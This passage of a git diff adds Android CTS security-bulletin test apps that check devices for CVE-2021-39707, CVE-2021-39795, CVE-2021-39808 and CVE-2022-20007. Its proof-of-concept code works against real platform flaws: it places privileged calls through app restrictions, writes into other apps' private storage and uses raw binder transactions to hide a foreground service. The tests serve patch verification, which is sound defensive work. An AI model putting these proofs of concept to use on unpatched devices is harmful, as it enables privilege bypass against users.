device.findObject(selector).click(); + + /* + * Click on the icon with resource name + * "com.android.settings:id/app_restrictions_settings" next to the test app + * "CVE-2021-39707" + */ + UiScrollable scrollable = new UiScrollable(new UiSelector()); + String textTestApp = context.getString(R.string.testAppLabel); + scrollable.scrollTextIntoView(textTestApp); + selector = By.text(textTestApp); + assumeTrue(context.getString(R.string.timedOutMsg, textTestApp), + device.wait(Until.hasObject(selector), uiTimeoutMs)); + UiObject2 parent = device.findObject(selector).getParent().getParent().getParent(); + selector = By.res(context.getString(R.string.resTestAppIcon, settingsPkgName)); + parent.findObject(selector).click(); + + /* + * Wait on the UI of the dialer app, test fails if the dialer app appears on the screen + * which indicates vulnerable behaviour + */ + TelecomManager telecomManager = context.getSystemService(TelecomManager.class); + selector = By.pkg(telecomManager.getSystemDialerPackage()); + assertFalse(context.getString(R.string.testFailMsg), + device.wait(Until.hasObject(selector), uiTimeoutMs)); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java new file mode 100644 index 00000000000..92645c498f8 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java @@ -0,0 +1,25 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39707; + +import android.app.Activity; + +// In order to detect the vulnerability, intent with action "android.intent.action.CALL_PRIVILEGED" +// must resolve to more than 1 activity, so PocActivity is defined here with this intent to have at +// least one activity other than the "PrivilegedCallActivity". +public class PocActivity extends Activity { +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java new file mode 100644 index 00000000000..6d4caae068b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java @@ -0,0 +1,41 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39707; + +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.net.Uri; +import android.os.Bundle; + +public class PocReceiver extends BroadcastReceiver { + + @Override + public void onReceive(Context context, Intent intent) { + try { + Bundle result = new Bundle(); + Intent dialIntent = new Intent(); + dialIntent.setData(Uri.parse(context.getString(R.string.uriData))); + dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED); + result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent); + setResultExtras(result); + } catch (Exception e) { + // ignore all exceptions, in the worst case, any exception caught here indicates that + // setting extra intent was unsuccessful, so test will pass in the worst case. + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp new file mode 100644 index 00000000000..ade2215f2d7 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp @@ -0,0 +1,36 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39795", + defaults: [ + "cts_support_defaults" + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.core", + ], +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml new file mode 100644 index 00000000000..cb42aedc255 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39795"> + <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="28"/> + <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> + <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> + <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39795" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml new file mode 100644 index 00000000000..19ea461d4cb --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml @@ -0,0 +1,32 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="filePath">Android/data/CVE-2021-39795-dir/</string> + <string name="fileContent">Bypassed by MediaProvider</string> + <string name="fileName">CVE-2021-39795-file</string> + <string name="external">external</string> + <string name="secondFixFailure">Second Fix Patch not applied. + Please Apply second Fix Patch!!</string> + <string name="fileUtilPkg">com.android.providers.media.util.FileUtils</string> + <string name="isDataOrObbPathMethod">isDataOrObbPath</string> + <string name="mediaProviderPkg">com.android.providers.media.module</string> + <string name="sampleFilePath">/storage/emulated/0/Android/data/foo</string> + <string name="failure">Device vulnerable to b/201667614! Any app with + MANAGE_EXTERNAL_STORAGE permission can write into other apps private + external directory.</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java new file mode 100644 index 00000000000..8d3ff0a9602 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java @@ -0,0 +1,94 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39795; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; + +import android.content.Context; +import android.content.ContentResolver; +import android.content.ContentValues; +import android.content.res.Resources; +import android.provider.MediaStore; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.OutputStream; +import java.lang.reflect.Method; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testFilePresence() { + boolean isSecondPatchAbsent = false; + Resources resources = null; + OutputStream outputStream = null; + try { + // Accessing FileUtils.isDataOrObbPath() to detect the presence of second patch of fix. + Context context = getApplicationContext(); + resources = context.getResources(); + Context mediaProviderContext = + context.createPackageContext(resources.getString(R.string.mediaProviderPkg), + Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY); + ClassLoader fileUtilsClassLoader = mediaProviderContext.getClassLoader(); + Class<?> FileUtilsClass = + fileUtilsClassLoader.loadClass(resources.getString(R.string.fileUtilPkg)); + Method isDataOrObbPathMethod = FileUtilsClass.getDeclaredMethod( + resources.getString(R.string.isDataOrObbPathMethod), String.class); + isDataOrObbPathMethod.setAccessible(true); + isSecondPatchAbsent = (boolean) isDataOrObbPathMethod.invoke(this, + resources.getString(R.string.sampleFilePath)); + + // Checking write into external directory. + ContentValues values = new ContentValues(); + ContentResolver contentResolver = context.getContentResolver(); + values.put(MediaStore.MediaColumns.RELATIVE_PATH, + resources.getString(R.string.filePath)); + values.put(MediaStore.MediaColumns.DISPLAY_NAME, + resources.getString(R.string.fileName)); + outputStream = contentResolver.openOutputStream(contentResolver.insert( + MediaStore.Files.getContentUri(resources.getString(R.string.external)), + values)); + outputStream.write(resources.getString(R.string.fileContent).getBytes()); + + /* + * If control flow has reached till this point it means no exception anywhere and fix is + * not present and it is vulnerable to the bug. + */ + fail(resources.getString(R.string.failure)); + } catch (IllegalArgumentException e) { + // First fix patch is applied, ignore this exception. + if (isSecondPatchAbsent) { + // Fail the test as Latest Fix Patch is not applied + fail(resources.getString(R.string.secondFixFailure)); + } + } catch (Exception e) { + assumeNoException(e); + } finally { + try { + outputStream.close(); + } catch (Exception e) { + // ignore all exceptions + } + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp new file mode 100644 index 00000000000..13a86e3b68e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39808", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml new file mode 100644 index 00000000000..0394d6ccb6a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39808"> + <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/> + <application> + <service + android:name=".PocService" + android:exported="true"> + </service> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39808" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml new file mode 100644 index 00000000000..8e7d104c6d2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <integer name="assumptionFailure">4</integer> + <integer name="fail">2</integer> + <integer name="falseVal">-1</integer> + <integer name="height">50</integer> + <integer name="pass">3</integer> + <integer name="setFlag">1</integer> + <integer name="timeoutMs">10000</integer> + <integer name="value">0</integer> + <integer name="width">50</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml new file mode 100644 index 00000000000..f4fb7413e40 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="assumptionFailure">Assumption failure occurred</string> + <string name="errorNoMethodFound">No method found</string> + <string name="errorTargetMethodNotFound">Target method not found</string> + <string name="flag">flag</string> + <string name="functionName">createNotificationChannelGroups</string> + <string name="group">group</string> + <string name="groupId">groupId</string> + <string name="illegalCode">Illegal Code</string> + <string name="messageKey">MESSAGE</string> + <string name="resultKey">RESULT</string> + <string name="message">message</string> + <string name="notification">notification</string> + <string name="passMessage">Passed</string> + <string name="sharedPreference">CVE_2021_39808</string> + <string name="vulnerableMessage"> + Vulnerable to b/209966086!! Foreground service ran without user notification + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java new file mode 100644 index 00000000000..a32638dda2c --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java @@ -0,0 +1,82 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39808; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.SharedPreferences.OnSharedPreferenceChangeListener; +import android.content.res.Resources; + +import androidx.test.runner.AndroidJUnit4; + +import java.util.concurrent.Semaphore; +import java.util.concurrent.TimeUnit; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testService() { + try { + Context context = getApplicationContext(); + Intent intent = new Intent(context, PocService.class); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + context.startService(intent); + SharedPreferences sh = context.getSharedPreferences( + context.getString(R.string.sharedPreference), + Context.MODE_APPEND); + final Semaphore preferenceChanged = new Semaphore(0); + OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() { + @Override + public void onSharedPreferenceChanged( + SharedPreferences sharedPreferences, String key) { + if (key.equals(context.getString(R.string.resultKey))) { + if (sharedPreferences.getInt(key, 0) == context + .getResources().getInteger(R.integer.pass)) { + preferenceChanged.release(); + } + } + } + }; + sh.registerOnSharedPreferenceChangeListener(listener); + + preferenceChanged.tryAcquire( + context.getResources().getInteger(R.integer.timeoutMs), + TimeUnit.MILLISECONDS); + + int result = sh.getInt(context.getString(R.string.resultKey), + context.getResources().getInteger(R.integer.pass)); + String message = sh.getString(context.getString(R.string.messageKey), + context.getString(R.string.passMessage)); + assumeTrue(message, result != context.getResources() + .getInteger(R.integer.assumptionFailure)); + assertNotEquals(message, result, + context.getResources().getInteger(R.integer.fail)); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java new file mode 100644 index 00000000000..73b0df4adfb --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java @@ -0,0 +1,137 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39808; + +import android.app.INotificationManager; +import android.app.NotificationChannelGroup; +import android.app.NotificationManager; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.os.IBinder; +import android.os.Parcel; +import android.os.ServiceManager; +import android.text.TextUtils; + +import java.lang.reflect.Method; + +public class PocService extends Service { + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public void onCreate() { + try { + super.onCreate(); + setResult(getResources().getInteger(R.integer.fail), + getResources().getString(R.string.vulnerableMessage)); + createNotificationGroup(); + } catch (Exception e) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + e.getMessage()); + } + } + + void createNotificationGroup() throws Exception { + IBinder binder = ServiceManager + .getService(getResources().getString(R.string.notification)); + int serviceId = getTransactionCode( + getResources().getString(R.string.functionName)); + if (serviceId == -1) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + getString(R.string.errorNoMethodFound)); + return; + } else if (serviceId == -2) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + getString(R.string.errorTargetMethodNotFound)); + return; + } + createNotificationGroup(binder, serviceId); + NotificationManager notificationManager = (NotificationManager) getSystemService( + NOTIFICATION_SERVICE); + NotificationChannelGroup notificationChannelGroup = notificationManager + .getNotificationChannelGroup( + getResources().getString(R.string.groupId)); + if (!notificationChannelGroup.isBlocked()) { + setResult(getResources().getInteger(R.integer.pass), + getResources().getString(R.string.passMessage)); + } + } + + int getTransactionCode(String methodName) { + int txCode = IBinder.FIRST_CALL_TRANSACTION; + String txName = INotificationManager.Stub + .getDefaultTransactionName(txCode); + if (txName == null) { + return -1; + } + while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) { + txName = INotificationManager.Stub + .getDefaultTransactionName(++txCode); + if (txName.equals(methodName)) { + break; + } + } + if (txName == null) { + return -2; + } + return txCode; + } + + void createNotificationGroup(IBinder binder, int code) throws Exception { + String description = binder.getInterfaceDescriptor(); + Parcel data = Parcel.obtain(); + Parcel reply = Parcel.obtain(); + data.writeInterfaceToken(description); + data.writeString(this.getPackageName()); + data.writeInt(getResources().getInteger(R.integer.setFlag)); + data.writeInt(getResources().getInteger(R.integer.setFlag)); + data.writeString(NotificationChannelGroup.class.getName()); + data.writeInt(getResources().getInteger(R.integer.setFlag)); + data.writeByte((byte) getResources().getInteger(R.integer.setFlag)); + data.writeString(getResources().getString(R.string.groupId)); + TextUtils.writeToParcel(getResources().getString(R.string.group), data, + getResources().getInteger(R.integer.setFlag)); + data.writeByte((byte) getResources().getInteger(R.integer.value)); + data.writeInt(getResources().getInteger(R.integer.falseVal)); + data.writeInt(getResources().getInteger(R.integer.setFlag)); + boolean val = (boolean) binder.transact(code, data, reply, + getResources().getInteger(R.integer.value)); + if (!val) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + getResources().getString(R.string.illegalCode)); + } + reply.readException(); + } + + private void setResult(int result, String message) { + try { + SharedPreferences sh = getSharedPreferences( + getString(R.string.sharedPreference), Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), result); + edit.putString(getString(R.string.messageKey), message); + edit.commit(); + } catch (Exception e) { + // ignore exception + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml index 9f7ac842f5b..731eac43717 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml @@ -23,7 +23,7 @@ android:label="CVE-2022-20007-Attacker" android:supportsRtl="true"> <activity - android:name=".PocActivity" + android:name=".PocAttackerActivity" android:exported="true" android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen"> </activity> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java index ad87ea7434f..988517e8670 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java @@ -20,7 +20,7 @@ import android.app.Activity; import android.os.Bundle; import android.view.WindowManager; -public class PocActivity extends Activity { +public class PocAttackerActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp new file mode 100644 index 00000000000..98d59623a28 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2022-20007-Second", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml new file mode 100644 index 00000000000..7880b0f0669 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml @@ -0,0 +1,32 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2022_20007_second" + android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid" + android:versionCode="1" + android:versionName="1.0"> + <application + android:label="CVE-2022-20007-Second" + android:process="android.security.cts.CVE_2022_20007" + android:supportsRtl="true"> + <activity + android:name=".SecondPocActivity" + android:exported="true"> + </activity> + </application> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml new file mode 100644 index 00000000000..d327e30f622 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml @@ -0,0 +1,25 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml new file mode 100644 index 00000000000..e112bcd4ab2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml @@ -0,0 +1,21 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <integer name="fail">1</integer> + <integer name="pass">0</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml new file mode 100644 index 00000000000..c20d81ccfa0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="resultKey2">result2</string> + <string name="sharedPreferences">SharedPreferences</string> + <string name="testAppPackage">android.security.cts.CVE_2022_20007</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java new file mode 100644 index 00000000000..867da1c4ce2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use 